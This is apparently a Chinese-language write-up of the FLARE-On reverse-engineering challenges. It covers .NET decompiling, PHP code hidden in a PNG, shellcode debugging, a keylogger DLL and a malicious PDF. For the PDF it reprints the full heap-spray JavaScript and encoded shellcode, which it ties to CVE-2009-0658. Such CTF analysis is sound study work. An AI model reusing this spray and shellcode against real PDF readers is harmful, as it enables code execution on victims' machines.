標籤:blog http os 使用 java strong ar for 檔案
上周才開始做這個CTF,用一周左右的時間完成了全部7道題。算是為即將到來的找工作進行熱身和學習,下面記錄一下遇到的問題和學到的東西,具體的解題過程就不詳細描述了。
challenge1
這道題用IDA開啟發現是一個.net程式,於是用.NET Reflector反編譯定位 button的處理函數,就可以定位解碼函數了。
challenge2
通過郵件裡的描述(We saw what looked like attacker activity to this site)猜測頁面裡面被嵌入了惡意代碼,對比發現隱藏在flare-on.png尾部的php代碼,這裡主要推薦一個比較好的線上代碼測試網站: http://codepad.org/ 通過多次的執行、解碼最終擷取flag
challenge3
第三道題目用IDA簡單看了一下發現主函數裡第五個call最後會call eax,就不用多看了,因為平時分析shellcode習慣使用windbg,所以就直接通過windbg進行跟蹤調試,最終順利拿到flag
challenge4
這道題拿到手發現是個pdf,在虛擬機器中進行測試時發現開啟速度偏慢,觀察工作管理員發現記憶體有明顯的變化,判斷應該是有heap spray的操作。之前只是知道pdf漏洞利用大概原理和思路,但還沒有實際分析過pdf的漏洞,因此上手前首先瞭解學習了一下相關知識,瞭解pdf漏洞的分析流程等等。
首先,當然是要瞭解一下pdf的檔案格式,這篇文章分析的很詳細:http://hi.baidu.com/justear/item/b2c15d0e7fa0e68202ce1b19
然後通過網上找到的一些pdf漏洞分析報告瞭解pdf漏洞分析與利用的大致情況,通過現有的文章發現pdf的問題分布比較廣泛,有pdf本身的處理流程問題,也有JBIG2壓縮、XML格式、u3d格式等等處理流程問題,而分析流程則與IE類似,主要是先要大致定位問題方向,然後一步步跟蹤分析定位成因。
考慮到這裡是CTF比賽,每個人的測試環境都會不同,因此直接去定位漏洞沒什麼思路。 工欲善其事必先利其器,這裡我利用PDFScope進一步分析此文檔的格式和內容。通過分析發現pdf內部的JBIG2Decode會對內部JBIG2編碼的資料流進行解析。通過PDFScope解析JIBIG2 stream,擷取到JS代碼,通過觀察的確是heap spary。摳出shellcode直接上WinDbg進行分析,最終拿到flag。
var HdPN = ""; var Param_1 = ""; var Spray = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff"); var Param_2 = ""; for (i=128;i>=0;--i)Param_2 += unescape("%ub32f%u3791"); var Param_3 = Param_2 + Spray; var Param_4 = unescape("%ub32f%u3791"); var Param_5 = 20; var Param_6 = Param_5+Param_3.length while (Param_4.length<Param_6) Param_4+=Param_4; var Param_7 = Param_4.substring(0, Param_6); var Param_8 = Param_4.substring(0, Param_4.length-Param_6); while(Param_8.length+Param_6 < 0x40000) Param_8 = Param_8+Param_8+Param_7; var Param_9 = new Array(); for (i=0;i<100;i++) Param_9[i] = Param_8 + Param_3; for (i=142;i>=0;--i) Param_1 += unescape("%ub550%u0166"); var Param_10 = Param_1.length + 20 while (Param_1.length < Param_10) Param_1 += Param_1; var Param_11 = Param_1.substring(0, Param_10); var Param_12 = Param_1.substring(0, Param_1.length-Param_10); while(Param_12.length+Param_10 < 0x40000) Param_12 = Param_12+Param_12+Param_11; var Param_13 = new Array(); for (i=0;i<125;i++) Param_13[i] = Param_12 + Param_1;
PS:後來跟同學交流知道這裡的題目環境是CVE-2009-0658,針對漏洞成因接下來準備進一步分析學習一下。
challenge5
這道題拿到手後發現是一個dll,對於沒有符號的dll還是使用Olldbg跟蹤調試比較方便,配合IDA,發現這個dll實現了鍵盤記錄器的功能,它將自己拷貝到系統目錄偽裝成svchost.dll,並在註冊表註冊了自啟動項,從而實現自啟動。同時,程式在自身目錄下建立svchost.org記錄使用者按鍵。
剛開始,發現sub_10009EB0裡實現了鍵盤按鍵的檢測,面對複雜的流程,我不想深入分析。並且初步判斷其內部應該不是解題的關鍵,然而跟蹤走完整個程式的主流程後,並沒有發現什麼異常,從而開始納悶這道題的解題思路。最終還是從sub_10009EB0入手,發現有些按鍵的處理會複雜一些。
而且這些按鍵的處理具有一定的規律,如果某值X大於0,則對其進行置0操作,並且對X+4處置1,因此判斷這些按鍵的按下操作會互相影響。於是記錄所有具有類似操作的按鍵:0、5、a、c、d、e、f、g、h、i、k、l、m、n、o、r、s、t、u。並對其內部判斷邏輯進行整理,在此過程中還發現程式對l和m兩鍵的處理更加特殊,l會判斷dword_10017000是否為0,並對dword_10019460置1;而m則會在dword_100194FC>=1的情況下,call sub_10001240。看來只要按照邏輯設計按鍵順序,最終引導至m調用sub_10001240,即是擷取此關flag的關鍵所在~
最終,在輸入flag(由前面的按鍵組成)後,程式最終調用dword_10019460,我一直跟蹤調試至彈出最終的對話方塊(由於太專註,原以為flag會在最後呈現呢,最後才發現由前面的按鍵組合就是flag了)。面對最終介面我不禁被出題者的思路所震撼,什麼時候ISCC要是也能出這樣的題,那就NB了。。。
challenge6
今天太累了,每天再寫吧。。。
The FLARE On Challenge